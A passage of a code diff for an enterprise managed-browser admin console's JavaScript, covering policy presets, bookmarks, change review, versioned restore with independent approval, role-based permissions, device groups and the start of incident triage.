+$('preset-preview').onclick=task(async()=>{const result=await api('/api/admin/presets/preview',{id:$('preset-id').value,policy:draft()});result.sourceDraft=JSON.stringify(draft());presetPreview=result;$('preset-description').textContent=`${result.preset.description} ${result.warning}`;$('preset-changes').replaceChildren();for(const change of result.changes){const row=document.createElement('div');row.className='rule';row.textContent=`${change.field}: ${JSON.stringify(change.before)} → ${JSON.stringify(change.after)}`;$('preset-changes').append(row);}if(!result.changes.length)$('preset-changes').textContent='No changes to existing policy controls.';renderReadiness(result.readiness);$('preset-apply').disabled=false;status('Template preview created. Nothing has been published.');}); + +$('preset-apply').onclick=task(async()=>{if(!presetPreview)throw Error('Preview a template first');if(JSON.stringify(draft())!==presetPreview.sourceDraft)throw Error('Draft changed after preview; preview the template again before applying');const preview=presetPreview;policy=preview.policy;policy.version-=1;fill(policy);renderReadiness(preview.readiness);status('Template added to draft. Review controls and publish the signed policy to deploy.');}); + +$('preset-id').onchange=()=>{presetPreview=null;$('preset-apply').disabled=true;$('preset-description').textContent='';$('preset-changes').replaceChildren();}; + +$('enterprise-icap-probe').onclick=task(async()=>{const result=await api('/api/admin/integrations/icap/probe',draft().enterprise.icap);$('enterprise-icap-status').textContent=result.ready?'Management server OPTIONS check passed. Verify scanning from the deployed browser network too.':'Management server OPTIONS check failed. Check service, method, certificates and network reachability.';status('ICAP capability check completed; no company document was sent and nothing was published.');}); + + + + + + + +const bookmarkPermissions=[['bookmarks-add','allowUserAdd'],['bookmarks-edit','allowUserEdit'],['bookmarks-delete','allowUserDelete'],['bookmarks-admin-read','adminReadUserBookmarks']]; + +function clearDeviceBookmarks(){bookmarkRevision=undefined;bookmarkDeviceId='';personalBookmarks=[];$('bookmark-device-editor').hidden=true;$('bookmark-device-status').textContent='Select a device and read its bookmarks. Published policy must permit administrator access.';} + +function renderBookmarkRows(target,items){ + + $(target).replaceChildren();for(const item of items){const row=document.createElement('tr');for(const [key,label,max] of [['title','Bookmark title',120],['url','Bookmark URL',2048],['folder','Bookmark folder',80]]){const td=document.createElement('td'),input=document.createElement('input');input.value=item[key]||'';input.maxLength=max;input.setAttribute('aria-label',label);if(key==='url')input.type='url';input.oninput=()=>{item[key]=input.value;};td.append(input);row.append(td);}const td=document.createElement('td'),remove=document.createElement('button');remove.className='danger';remove.textContent='Remove';remove.onclick=()=>{items.splice(items.indexOf(item),1);renderBookmarkRows(target,items);};td.append(remove);row.append(td);$(target).append(row);} + + if(!items.length){const row=document.createElement('tr'),td=document.createElement('td');td.colSpan=4;td.textContent='No bookmarks.';row.append(td);$(target).append(row);} + +} + +function addBookmark(items,target){if(items.length>=100)throw Error('A maximum of 100 bookmarks is supported');items.push({id:crypto.randomUUID(),title:'',url:'https://',folder:''});renderBookmarkRows(target,items);$(target).lastElementChild?.querySelector('input')?.focus();} + +$('managed-bookmark-add').onclick=task(async()=>{addBookmark(managedBookmarks,'managed-bookmark-rows');status('Company bookmark added to draft. Complete its fields, then publish the signed policy.');}); + +$('personal-bookmark-add').onclick=task(async()=>addBookmark(personalBookmarks,'personal-bookmark-rows')); + +$('bookmark-device').onchange=clearDeviceBookmarks; + +async function readDeviceBookmarks(){ + + const id=$('bookmark-device').value;if(!id)throw Error('Select an active device');clearDeviceBookmarks();const data=await api(`/api/admin/devices/${encodeURIComponent(id)}/bookmarks`);if($('bookmark-device').value!==id)return;bookmarkDeviceId=id;bookmarkRevision=data.revision;personalBookmarks=structuredClone(data.items);renderBookmarkRows('personal-bookmark-rows',personalBookmarks);$('bookmark-device-editor').hidden=false;$('bookmark-device-status').textContent=`Loaded device revision ${bookmarkRevision}. Remote edits are not saved yet.`; + +} + +$('bookmark-device-load').onclick=task(readDeviceBookmarks); + +$('bookmark-device-refresh').onclick=task(readDeviceBookmarks); + +$('bookmark-device-save').onclick=task(async()=>{ + + if(!bookmarkDeviceId||bookmarkRevision===undefined||bookmarkDeviceId!==$('bookmark-device').value)throw Error('Read the selected device bookmarks first'); + + try{const data=await api(`/api/admin/devices/${encodeURIComponent(bookmarkDeviceId)}/bookmarks`,{expectedRevision:bookmarkRevision,policyVersion:policy.version,items:personalBookmarks},'PUT');bookmarkRevision=data.revision;personalBookmarks=structuredClone(data.items);renderBookmarkRows('personal-bookmark-rows',personalBookmarks);$('bookmark-device-status').textContent=`Saved revision ${bookmarkRevision}. The browser applies this at its next management refresh.`;status('Device bookmarks updated.');}catch(error){$('bookmark-device-status').textContent=`Save failed: ${error.message}. Refresh and review the latest revision before retrying.`;throw error;} + +}); + + + +// Console preferences affect this interface only, never managed browser policy. + +function setConsoleTheme(value){document.documentElement.dataset.theme=value;try{localStorage.setItem('safetynet.admin.theme',value);}catch{}} + +try{$('console-theme').value=localStorage.getItem('safetynet.admin.theme')||'system';}catch{} + +setConsoleTheme($('console-theme').value);$('console-theme').onchange=()=>setConsoleTheme($('console-theme').value); + +function policyChanges(){if(!publishedSnapshot)return [];const next=draft();const changes=[];function walk(before,after,path){if(JSON.stringify(before)===JSON.stringify(after))return;if(path==='version')return;if(path==='expiresAt'&&Math.floor(new Date(before).getTime()/60000)===Math.floor(new Date(after).getTime()/60000))return;if(before&&after&&typeof before==='object'&&typeof after==='object'&&!Array.isArray(before)&&!Array.isArray(after)){for(const key of new Set([...Object.keys(before),...Object.keys(after)]))walk(before[key],after[key],path?`${path}.${key}`:key);}else changes.push({path,before,after});}walk(publishedSnapshot,next,'');return changes;} + +function updateDraftStatus(){if(!policy)return;try{const count=policyChanges().length;$('draft-state').textContent=count?`${count} unpublished policy ${count===1?'change':'changes'}`:`Published policy v${publishedSnapshot.version}`;$('draft-detail').textContent=count?'Review before publishing. Refresh discards unpublished edits.':'Changes stay in your draft until publication.';$('draft-state').classList.toggle('draft-dirty',count>0);}catch{$('draft-state').textContent='Draft requires correction';$('draft-detail').textContent='Check expiry and advanced JSON before publication.';}} + +$('workspace').addEventListener('input',updateDraftStatus);$('workspace').addEventListener('change',updateDraftStatus);$('workspace').addEventListener('click',()=>queueMicrotask(updateDraftStatus)); + +$('publish-shortcut').onclick=()=>{if(!$('publish').disabled)$('publish').click();}; + +$('review-changes').onclick=task(async()=>{const changes=policyChanges();$('change-review-list').replaceChildren();for(const change of changes){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong');title.textContent=change.path;const before=document.createElement('pre'),after=document.createElement('pre');before.textContent=`Published: ${JSON.stringify(change.before)??'unset'}`;after.textContent=`Draft: ${JSON.stringify(change.after)??'unset'}`;item.append(title,before,after);$('change-review-list').append(item);}$('change-review-summary').textContent=changes.length?`${changes.length} changed paths. Nothing has been published by this review.`:'No policy changes.';$('change-review').showModal();});$('review-close').onclick=()=>$('change-review').close(); + +function renderPosture(p){$('policy-posture').replaceChildren();const entries=[['Clipboard inspection',p.security.clipboard.enabled?'Enabled':'Supplemental controls off'],['Semantic protection',p.dlp.semantic.enabled?`${p.dlp.semantic.categories.length} categories`:'Not enabled'],['Visual impersonation',p.security.visualPhishing.enabled?'Enabled':'Not enabled'],['Download scanning',p.enterprise.icap.enabled&&p.enterprise.icap.scanDownloads?'External ICAP required':p.security.yara?.enabled?'Local YARA required':'Verify required scanner configuration'],['Network',p.enterprise.vpn.required?'Corporate VPN required':'Device-managed connection'],['Policy expiry',new Date(p.expiresAt).toLocaleString()]];for(const [name,value]of entries){const line=document.createElement('div');line.className='posture-item';const label=document.createElement('span'),text=document.createElement('strong');label.textContent=name;text.textContent=value;line.append(label,text);$('policy-posture').append(line);}} + +function filterTable(kind){const query=$(`${kind}-filter`).value.toLowerCase().trim(),value=$(kind==='device'?'device-access-filter':'event-decision-filter').value,rows=Array.from($(`${kind}-rows`).children);let visible=0;for(const row of rows){const match=(!query||row.textContent.toLowerCase().includes(query))&&(value==='all'||row.dataset[kind==='device'?'access':'decision']===value);row.hidden=!match;if(match)visible++;}$(`${kind}-filter-count`).textContent=`${visible} of ${rows.length} ${kind==='device'?'devices':'events'}`;} + +for(const kind of ['device','event']){$(`${kind}-filter`).oninput=()=>filterTable(kind);$(kind==='device'?'device-access-filter':'event-decision-filter').onchange=()=>filterTable(kind);} + +function applyOperatorPermissions(principal){currentPrincipal=principal;if(typeof applyGroupPermissions==='function')applyGroupPermissions(principal);if(typeof applyProfilePermissions==='function')applyProfilePermissions(principal);if(typeof applyIncidentPermissions==='function')applyIncidentPermissions(principal);operatorPermissions=Array.isArray(principal.permissions)?new Set(principal.permissions):null;if(!operatorPermissions)return;const allowed=permission=>operatorPermissions.has(permission)||(permission==='policy.write'&&independentApprovalRequired&¤tPrincipal.role==='operator');$('access-sessions').hidden=!allowed('sessions.manage');document.querySelector('nav a[href="#access-sessions"]').hidden=!allowed('sessions.manage');$('sessions-load').disabled=!allowed('sessions.manage');const policySections=['policy','managed-settings','security-controls','password-vault','visual-protection','clipboard-controls','enterprise-integrations'];for(const id of policySections)for(const field of $(id).querySelectorAll('input,textarea,select,button'))field.disabled=!allowed('policy.write');for(const id of ['publish','publish-shortcut','preset-preview','managed-bookmark-add','add-rule','fingerprint','semantic-add','semantic-document-add','visual-add'])$(id).disabled=!allowed('policy.write');for(const field of $('bookmarks').querySelectorAll('input,button')){const personal=field.closest('#bookmark-device-editor');field.disabled=!allowed(personal?'bookmarks.write':'policy.write');}$('preset-apply').disabled=!allowed('policy.write')||!presetPreview;$('history-approve').disabled=!allowed('policy.write')||!historyReview||historyReview.sourceVersion===historyReview.expectedVersion;$('history-restore').disabled=!allowed('policy.write')||!historyReview||!$('history-approve').checked||historyReview.sourceVersion===historyReview.expectedVersion;$('bookmark-device-load').disabled=!allowed('bookmarks.read');$('enroll').disabled=!allowed('devices.manage');$('enterprise-icap-probe').disabled=!allowed('integrations.test');$('teach-submit').disabled=!allowed('teaching.write');for(const button of $('device-rows').querySelectorAll('button'))button.disabled=!allowed(button.textContent.includes('document scans')?'policy.write':'devices.manage');for(const button of $('teach-drafts').querySelectorAll('button'))button.disabled=!allowed('policy.write');for(const id of ['bookmarks-add','bookmarks-edit','bookmarks-delete','bookmarks-admin-read'])$(id).disabled=!allowed('policy.write');} + + + +// Track the current reading section without removing or replacing any policy form. + +if('IntersectionObserver' in window){const observer=new IntersectionObserver(entries=>{for(const entry of entries)if(entry.isIntersecting){for(const link of document.querySelectorAll('nav a')){const active=link.hash===`#${entry.target.id}`;if(active)link.setAttribute('aria-current','true');else link.removeAttribute('aria-current');}}},{rootMargin:'-120px 0px -65% 0px',threshold:0});for(const section of document.querySelectorAll('#workspace section[id]'))observer.observe(section);} + + + +$('admin-logout').onclick=task(async()=>{await api('/auth/logout',{});credential='';location.reload();}); + +async function loadSessions(){const data=await api('/api/admin/sessions');$('session-rows').replaceChildren();for(const session of data.sessions){const row=document.createElement('tr');cell(row,session.name===session.subject?session.subject:`${session.name} · ${session.subject}`);cell(row,session.role);cell(row,new Date(session.expiresAt).toLocaleString());const action=cell(row,''),button=document.createElement('button');button.className='danger';button.textContent='Revoke session';button.onclick=task(async()=>{await api(`/api/admin/sessions/${encodeURIComponent(session.id)}/revoke`,{});row.remove();$('sessions-status').textContent='Session revoked immediately. Identity-provider authorization may permit another sign-in.';});action.append(button);$('session-rows').append(row);}$('sessions-status').textContent=`${data.sessions.length} active management sessions${data.truncated?' · first 500 shown':''}.`;} + +$('sessions-load').onclick=task(loadSessions); + + + +function fillSecurityControls(security,agents){$('security-dns-enabled').checked=security.dns.enabled;$('security-dns-hosts').value=security.dns.blockedHosts.join('\n');$('security-dns-ips').value=security.dns.blockedIPs.join('\n');$('security-content-phrases').value=security.content.blockedPhrases.join('\n');$('security-yara-enabled').checked=security.yara.enabled;$('security-yara-max').value=security.yara.maxScanBytes;$('agent-enabled').checked=agents.enabled;$('agent-hosts').value=agents.allowedHosts.join('\n');$('agent-sensitive').checked=agents.allowSensitiveRead;for(const scope of agentScopes)$(`agent-scope-${scope}`).checked=agents.scopes.includes(scope);} + +$('security-json').addEventListener('change',()=>{try{const security=JSON.parse($('security-json').value);fillSecurityControls(security,draft().agents);}catch(error){status(`Advanced security configuration: ${error.message}`,true);}}); + + + +// Persisted history is loaded on demand; a review captures the current version for compare-and-swap restoration. + +let historyNextBefore=null,historyReview=null; + +function canWritePolicy(){return !operatorPermissions||operatorPermissions.has('policy.write')||(independentApprovalRequired&&operatorPermissions.has('policy.prepare'));} + +function clearHistoryReview(){historyReview=null;$('history-review').hidden=true;$('history-approve').checked=false;$('history-restore').disabled=true;} + +async function loadHistory(older=false){ + + const data=await api(`/api/admin/policy/history?limit=20${older&&historyNextBefore?`&before=${historyNextBefore}`:''}`);if(!older)$('history-rows').replaceChildren();clearHistoryReview(); + + for(const item of data.versions){const row=document.createElement('tr');cell(row,`v${item.version}${item.current?' · current':''}`);cell(row,new Date(item.time).toLocaleString());cell(row,item.actor);const action=cell(row,''),button=document.createElement('button');button.className='secondary';button.textContent=item.current?'Review current version':'Compare with current';button.onclick=task(()=>reviewHistory(item.version));action.append(button);$('history-rows').append(row);} + + historyNextBefore=data.nextBefore;$('history-more').hidden=!historyNextBefore;$('history-status').textContent=`${$('history-rows').children.length} persisted versions shown. Current signed policy: v${data.currentVersion}.`; + +} + +function renderHistoryDiff(changes){$('history-diff-list').replaceChildren();for(const change of changes){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong');title.textContent=`${change.path} · ${change.kind}`;const before=document.createElement('pre'),after=document.createElement('pre');before.textContent=`Selected version: ${JSON.stringify(change.before)??'unset'}`;after.textContent=`Current version: ${JSON.stringify(change.after)??'unset'}`;item.append(title,before,after);$('history-diff-list').append(item);}} + +async function reviewHistory(version){ + + clearHistoryReview();const current=await api('/api/admin/policy/history?limit=1');if(current.currentVersion!==publishedSnapshot.version)throw Error('Current policy changed. Refresh the workspace before comparing or restoring.'); + + const comparison=await api(`/api/admin/policy/diff?from=${version}&to=${current.currentVersion}`);if(comparison.truncated||comparison.groupDiff?.truncated)throw Error('Policy difference exceeds the supported review size. Review the policy through the API before restoration.'); + + historyReview={sourceVersion:version,expectedVersion:current.currentVersion};renderHistoryDiff([...comparison.changes,...(comparison.groupDiff?.changes||[]).map(change=>({...change,path:`/policyGroups${change.path}`}))]);$('history-review-title').textContent=`Review v${version} against current v${current.currentVersion}`;$('history-review-summary').textContent=`${comparison.changes.length} baseline paths and ${comparison.groupDiff?.changes.length||0} group paths changed. Restoration publishes v${current.currentVersion+1} with a fresh seven-day expiry. Your unpublished draft will be replaced after successful restoration.`;$('history-review').hidden=false;$('history-approve').disabled=!canWritePolicy()||version===current.currentVersion;$('history-restore').disabled=true;$('history-review').scrollIntoView({block:'nearest',behavior:'smooth'}); + +} + +$('history-load').onclick=task(()=>loadHistory());$('history-more').onclick=task(()=>loadHistory(true)); + +$('history-approve').onchange=()=>{$('history-restore').disabled=!historyReview||!$('history-approve').checked||!canWritePolicy()||historyReview.sourceVersion===historyReview.expectedVersion;}; + +$('history-restore').onclick=task(async()=>{if(!historyReview||!$('history-approve').checked||!canWritePolicy())throw Error('Review and approve the restoration first');const selection={...historyReview};$('history-restore').disabled=true;const result=await api('/api/admin/policy/restore',{...selection,approve:true});await load();await loadHistory();policyMutationStatus(result,`Configuration from v${result.sourceVersion} restored and signed as new policy v${result.version}.`);}); + + + +for(const id of ['agent-enabled','agent-hosts','agent-sensitive',...agentScopes.map(scope=>`agent-scope-${scope}`)])$(id).addEventListener('input',()=>{$('agents-json').value=JSON.stringify({enabled:$('agent-enabled').checked,scopes:agentScopes.filter(scope=>$(`agent-scope-${scope}`).checked),allowedHosts:lines('agent-hosts'),allowSensitiveRead:$('agent-sensitive').checked},null,2);}); + + + +// The backend controls independent approval; renderer controls provide context only. + +function policyMutationStatus(result,publishedMessage){status(result.reviewRequired?`Changes prepared for independent approval (${result.reviewId}). Published policy is unchanged.`:publishedMessage);} + +function clearIndependentReview(){selectedIndependentReview=null;$('independent-review-detail').hidden=true;$('independent-review-confirm').checked=false;$('independent-review-approve').disabled=true;$('independent-review-reject').disabled=true;} + +function canReviewIndependent(){return currentPrincipal?.role==='admin'&&selectedIndependentReview?.status==='pending'&&!selectedIndependentReview.diff?.truncated&&selectedIndependentReview.author!==currentPrincipal.sub;} + +function updateIndependentReviewActions(){const allowed=canReviewIndependent();$('independent-review-confirm').disabled=!allowed;$('independent-review-approve').disabled=!allowed||!$('independent-review-confirm').checked;$('independent-review-reject').disabled=!allowed;} + +async function loadIndependentReviews(){const data=await api('/api/admin/policy-reviews');clearIndependentReview();$('review-mode').textContent=data.requireIndependentPolicyApproval?'Independent approval is mandatory. Publish controls prepare changes for a different administrator.':'Independent approval is optional on this deployment. Direct publication remains enabled for authorized administrators.';for(const id of ['publish','publish-shortcut'])$(id).textContent=independentApprovalRequired?'Prepare for independent approval':'Publish signed policy';$('history-restore').textContent=independentApprovalRequired?'Prepare restoration for independent approval':'Restore as new signed version';$('reviews-rows').replaceChildren();for(const review of data.reviews){const row=document.createElement('tr');cell(row,new Date(review.time).toLocaleString());cell(row,review.author);cell(row,review.kind);cell(row,`v${review.expectedVersion}`);cell(row,review.status);const action=cell(row,''),button=document.createElement('button');button.className='secondary';button.textContent='Review changes';button.onclick=task(async()=>{selectedIndependentReview=await api(`/api/admin/policy-reviews/${encodeURIComponent(review.id)}`);$('independent-review-confirm').checked=false;$('independent-review-title').textContent=`${selectedIndependentReview.kind} | ${selectedIndependentReview.status}`;$('independent-review-metadata').textContent=`Author: ${selectedIndependentReview.author} | Base policy: v${selectedIndependentReview.expectedVersion} | Payload: ${selectedIndependentReview.payloadHash}${selectedIndependentReview.author===currentPrincipal.sub?' | You cannot approve your own proposal.':''}${selectedIndependentReview.status==='stale'?' | Refresh and prepare a new proposal against the current policy.':''}`;$('independent-review-operation').textContent=independentOperationDescription(selectedIndependentReview.operation);$('independent-review-diff').replaceChildren();for(const change of selectedIndependentReview.diff.changes){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong'),before=document.createElement('pre'),after=document.createElement('pre');title.textContent=change.path;before.textContent=`Current: ${JSON.stringify(change.before)??'unset'}`;after.textContent=`Proposed: ${JSON.stringify(change.after)??'unset'}`;item.append(title,before,after);$('independent-review-diff').append(item);}if(selectedIndependentReview.diff.truncated){const warning=document.createElement('p');warning.textContent='Diff is truncated. Approval is disabled here; review the complete proposed policy using the authenticated review API.';$('independent-review-diff').append(warning);}$('independent-review-detail').hidden=false;updateIndependentReviewActions();});action.append(button);$('reviews-rows').append(row);}$('reviews-status').textContent=`${data.reviews.length} proposals loaded.`;} + +$('reviews-load').onclick=task(loadIndependentReviews);$('independent-review-confirm').onchange=updateIndependentReviewActions; + +$('independent-review-approve').onclick=task(async()=>{if(!canReviewIndependent()||!$('independent-review-confirm').checked)throw Error('A different administrator must explicitly review and approve');const review=selectedIndependentReview;const result=await api(`/api/admin/policy-reviews/${encodeURIComponent(review.id)}/approve`,{payloadHash:review.payloadHash,expectedVersion:review.expectedVersion,approve:true});await load();status(`Independent approval complete. Signed policy v${result.version} published.`);}); + +$('independent-review-reject').onclick=task(async()=>{if(!canReviewIndependent())throw Error('Only a different administrator may reject this proposal');const review=selectedIndependentReview;await api(`/api/admin/policy-reviews/${encodeURIComponent(review.id)}/reject`,{payloadHash:review.payloadHash,reject:true});await loadIndependentReviews();status('Proposal rejected. Published policy is unchanged.');}); + + +function independentOperationDescription(operation={}){ + if(operation.type?.startsWith('profile')||operation.type?.startsWith('user-profile'))return `User-profile operation; exact subjects, device assignments, website categories and delegated flags: ${JSON.stringify(operation)}`; + if(operation.type==='group-upsert'||operation.type==='group-delete')return `Group operation: ${operation.type}. Exact group and rollout: ${JSON.stringify(operation)}`; + if(operation.type==='inspection')return `Device: ${operation.deviceId}. Proposed manual document analysis: ${operation.enabled?'Enable':'Disable'}. Mandatory upload DLP and download inspection remain enforced.`; + if(operation.type==='teaching')return `Document reference: ${operation.id}. Coverage: ${operation.coverage}. Publication mode: ${operation.mode}. Only derived protection features will be published.`; + if(operation.type==='group-restore')return `Restore baseline and group assignments from v${operation.sourceVersion}. Exact restored groups: ${JSON.stringify(operation.groups)}`; + if(Number.isInteger(operation.sourceVersion))return `Restore configuration from policy v${operation.sourceVersion} as a new signed version.`; + return 'Global browser policy changes shown below.'; +} diff --git a/apps/server/public/diagnostics-admin.js b/apps/server/public/diagnostics-admin.js new file mode 100644 index 0000000..f61dc36 --- /dev/null +++ b/apps/server/public/diagnostics-admin.js @@ -0,0 +1,8 @@ +// Central diagnostics use the same draft, roles and independent publisher. +const diagnosticsFields=['diagnostics-enabled','diagnostics-mode','diagnostics-endpoint','diagnostics-sample','diagnostics-debug-sample']; +function fillDiagnostics(p){const d=p.diagnostics||{};$('diagnostics-enabled').checked=d.enabled===true;$('diagnostics-mode').value=d.mode||'operational';$('diagnostics-endpoint').value=d.endpoint||'';$('diagnostics-sample').value=d.sampleRate??0.1;$('diagnostics-debug-sample').value=d.debugSampleRate??1;} +const fillBeforeDiagnostics=fill;fill=function(p){fillBeforeDiagnostics(p);fillDiagnostics(p);}; +const draftBeforeDiagnostics=draft;draft=function(){const p=draftBeforeDiagnostics();p.diagnostics={...(p.diagnostics||{}),enabled:$('diagnostics-enabled').checked,mode:$('diagnostics-mode').value,endpoint:$('diagnostics-endpoint').value.trim(),sampleRate:Number($('diagnostics-sample').value),debugSampleRate:Number($('diagnostics-debug-sample').value)};if(!p.diagnostics.endpoint)delete p.diagnostics.endpoint;return p;}; +const permissionsBeforeDiagnostics=applyOperatorPermissions;applyOperatorPermissions=function(principal){permissionsBeforeDiagnostics(principal);const allowed=principal.permissions?.includes('policy.write')||(independentApprovalRequired&&principal.role==='operator');for(const id of diagnosticsFields)$(id).disabled=!allowed;}; +for(const id of diagnosticsFields)$(id).addEventListener('change',()=>updateDraftStatus()); +if(policy)fillDiagnostics(policy);if(currentPrincipal)applyOperatorPermissions(currentPrincipal); diff --git a/apps/server/public/group-admin.js b/apps/server/public/group-admin.js new file mode 100644 index 0000000..93795c5 --- /dev/null +++ b/apps/server/public/group-admin.js @@ -0,0 +1,17 @@ +/* Group restrictions are additive. Preview and acknowledgment describe actual backend state. */ +let groupState={groups:[],devices:[],version:0},selectedGroup='',groupBookmarks=[]; +const groupFlags=[['group-disable-downloads','disableDownloads'],['group-disable-ai','disableAI'],['group-disable-agents','disableAgents'],['group-hide-settings','hideSettings'],['group-require-scan','requireDocumentScan']]; +function groupChecks(container,devices,selected){$(container).replaceChildren();for(const device of devices){const label=document.createElement('label'),input=document.createElement('input');label.className='checks';input.type='checkbox';input.value=device.id;input.checked=selected.includes(device.id);input.disabled=device.revoked;label.append(input,document.createTextNode(`${device.name}${device.revoked?' (revoked)':''}`));$(container).append(label);}} +function groupSelected(container){return Array.from($(container).querySelectorAll('input:checked'),input=>input.value);} +function groupDraft(){const stage=$('group-stage').value,restrictions={blockedHosts:lines('group-blocked-hosts'),blockedPhrases:lines('group-blocked-phrases'),hiddenSections:managedSections.filter(section=>$(`group-hide-${section}`).checked),lockedSections:managedSections.filter(section=>$(`group-lock-${section}`).checked),managedBookmarks:structuredClone(groupBookmarks)};for(const [id,key]of groupFlags)restrictions[key]=$(id).checked;return {id:$('group-id').value.trim(),name:$('group-name').value.trim(),memberDeviceIds:groupSelected('group-members'),restrictions,rollout:{stage,deviceIds:stage==='all'?[]:groupSelected('group-cohort')}};} +function editGroup(group){selectedGroup=group?.id||'';groupBookmarks=structuredClone(group?.restrictions.managedBookmarks||[]);renderBookmarkRows('group-bookmark-rows',groupBookmarks);$('group-editor-title').textContent=group?`Edit ${group.name}`:'Create a device group';$('group-id').value=group?.id||'';$('group-id').readOnly=!!group;$('group-name').value=group?.name||'';$('group-stage').value=group?.rollout.stage||'pilot';groupChecks('group-members',groupState.devices,group?.memberDeviceIds||[]);groupChecks('group-cohort',groupState.devices,group?.rollout.deviceIds||[]);$('group-blocked-hosts').value=(group?.restrictions.blockedHosts||[]).join('\n');$('group-blocked-phrases').value=(group?.restrictions.blockedPhrases||[]).join('\n');for(const [id,key]of groupFlags)$(id).checked=group?.restrictions[key]===true;for(const section of managedSections){$(`group-hide-${section}`).checked=group?.restrictions.hiddenSections?.includes(section)||false;$(`group-lock-${section}`).checked=group?.restrictions.lockedSections?.includes(section)||false;}$('group-preview-summary').textContent='';$('group-preview-diff').replaceChildren();updateGroupCohort();applyGroupPermissions(currentPrincipal);} +function updateGroupCohort(){const members=groupSelected('group-members'),all=$('group-stage').value==='all';for(const checkbox of $('group-cohort').querySelectorAll('input')){if(!members.includes(checkbox.value))checkbox.checked=false;checkbox.disabled=all||!members.includes(checkbox.value);} } +function applyGroupPermissions(principal){if(!principal)return;const permissions=new Set(principal.permissions||[]),write=permissions.has('policy.write')||(independentApprovalRequired&&permissions.has('policy.prepare'));for(const input of $('policy-groups').querySelectorAll('input,textarea,select'))input.disabled=!write;for(const id of ['groups-refresh','group-preview-device','group-preview'])$(id).disabled=!permissions.has('policy.read');for(const id of ['group-save','group-new','group-bookmark-add'])$(id).disabled=!write;$('group-delete').disabled=!write||!selectedGroup;for(const button of $('group-bookmark-rows').querySelectorAll('button'))button.disabled=!write;for(const button of $('groups-rows').querySelectorAll('button'))button.disabled=!permissions.has('policy.read');$('group-save').textContent=independentApprovalRequired?'Prepare group for independent approval':'Publish group and rollout';if(write)updateGroupCohort();} +async function loadPolicyGroups(){groupState=await api('/api/admin/policy-groups');$('groups-rows').replaceChildren();for(const group of groupState.groups){const row=document.createElement('tr');cell(row,group.name);cell(row,group.memberDeviceIds.length);cell(row,group.rollout.stage==='all'?'All members':`${group.rollout.stage} · ${group.rollout.deviceIds.length} devices`);const action=cell(row,''),button=document.createElement('button');button.className='secondary';button.textContent='Edit / expand rollout';button.onclick=()=>editGroup(group);action.append(button);$('groups-rows').append(row);}$('group-device-rows').replaceChildren();$('group-preview-device').replaceChildren();for(const device of groupState.devices){const row=document.createElement('tr');cell(row,device.name);cell(row,(device.groups||[]).join(', ')||'Baseline');cell(row,`${device.policyVersion??0} / ${device.targetVersion??groupState.version}`);cell(row,device.revoked?'Revoked':device.acknowledged?'Reported target version':'Awaiting target version');cell(row,device.last_seen?new Date(device.last_seen).toLocaleString():'No contact');$('group-device-rows').append(row);if(!device.revoked){const option=document.createElement('option');option.value=device.id;option.textContent=device.name;$('group-preview-device').append(option);}}$('groups-status').textContent=`${groupState.groups.length} groups · signed baseline v${groupState.version}`;editGroup(groupState.groups.find(group=>group.id===selectedGroup));} +$('group-sections').replaceChildren();for(const section of managedSections){const row=document.createElement('div');row.className='checks';for(const [kind,label]of [['hide','Hide'],['lock','Lock']]){const element=document.createElement('label'),input=document.createElement('input');input.type='checkbox';input.id=`group-${kind}-${section}`;element.append(input,document.createTextNode(`${label} ${section}`));row.append(element);}$('group-sections').append(row);} +$('groups-refresh').onclick=task(loadPolicyGroups);$('group-new').onclick=()=>editGroup();$('group-members').onchange=updateGroupCohort;$('group-stage').onchange=updateGroupCohort; +$('group-save').onclick=task(async()=>{const group=groupDraft();if(!group.id||!group.name)throw Error('Enter a group identifier and name');const result=await api(`/api/admin/policy-groups/${encodeURIComponent(group.id)}`,{expectedVersion:groupState.version,group},'PUT');selectedGroup=group.id;await load();policyMutationStatus(result,`Group and ${group.rollout.stage} rollout published as signed policy v${result.version}.`);}); +$('group-delete').onclick=task(async()=>{if(!selectedGroup)throw Error('Select an existing group');const result=await api(`/api/admin/policy-groups/${encodeURIComponent(selectedGroup)}`,{expectedVersion:groupState.version},'DELETE');selectedGroup='';await load();policyMutationStatus(result,`Group removed in signed policy v${result.version}.`);}); +$('group-preview').onclick=task(async()=>{const group=groupDraft(),body={deviceId:$('group-preview-device').value};if(group.id)body.group=group;const result=await api('/api/admin/policy-groups/preview',body);$('group-preview-summary').textContent=`Effective groups: ${(result.groups||[]).join(', ')||'baseline only'} · ${result.diff?.changes?.length||0} differences from baseline`;$('group-preview-diff').replaceChildren();for(const change of result.diff?.changes||[]){const item=document.createElement('article');item.className='change-item';const title=document.createElement('strong'),before=document.createElement('pre'),after=document.createElement('pre');title.textContent=change.path;before.textContent=`Baseline: ${JSON.stringify(change.before)}`;after.textContent=`Effective: ${JSON.stringify(change.after)}`;item.append(title,before,after);$('group-preview-diff').append(item);}if(result.diff?.truncated){const warning=document.createElement('p');warning.textContent='Preview differences truncated; inspect the complete effective policy before publishing.';$('group-preview-diff').append(warning);}}); + +$('group-bookmark-add').onclick=task(async()=>addBookmark(groupBookmarks,'group-bookmark-rows')); diff --git a/apps/server/public/incident-admin.js b/apps/server/public/incident-admin.js new file mode 100644 index 0000000..a234e94 --- /dev/null +++ b/apps/server/public/incident-admin.js @@ -0,0 +1,7 @@ +/* Incident actions operate only on metadata. Server roles and revision CAS remain authoritative. */ +let incidentSelection=null,incidentCursor=null; +function applyIncidentPermissions(principal){if(!principal)return;const permissions=new Set(principal.permissions||[]),read=permissions.has('incidents.read'),write=permissions.has('incidents.triage');$('incidents').hidden=!read;document.querySelector('nav a[href="#incidents"]').hidden=!read;for(const id of ['incident-state','incident-severity','incident-assignee','incident-comment','incident-save'])$(id).disabled=!write;for(const button of document.querySelectorAll('[data-incident-create]'))button.disabled=!write;} +async function loadIncidents(append=false){const query=new URLSearchParams({limit:'50'});if($('incident-status-filter').value)query.set('status',$('incident-status-filter').value);if($('incident-severity-filter').value)query.set('severity',$('incident-severity-filter').value);if(append&&incidentCursor!==null)query.set('before',String(incidentCursor));const result=await api(`/api/admin/incidents?${query}`);if(!append)$('incident-rows').replaceChildren();for(const incident of result.incidents){const row=document.createElement('tr');row.dataset.incidentId=incident.id;cell(row,new Date(incident.createdAt).toLocaleString());cell(row,incident.event.kind);cell(row,incident.status);cell(row,incident.severity);cell(row,incident.assignee||'Unassigned');const 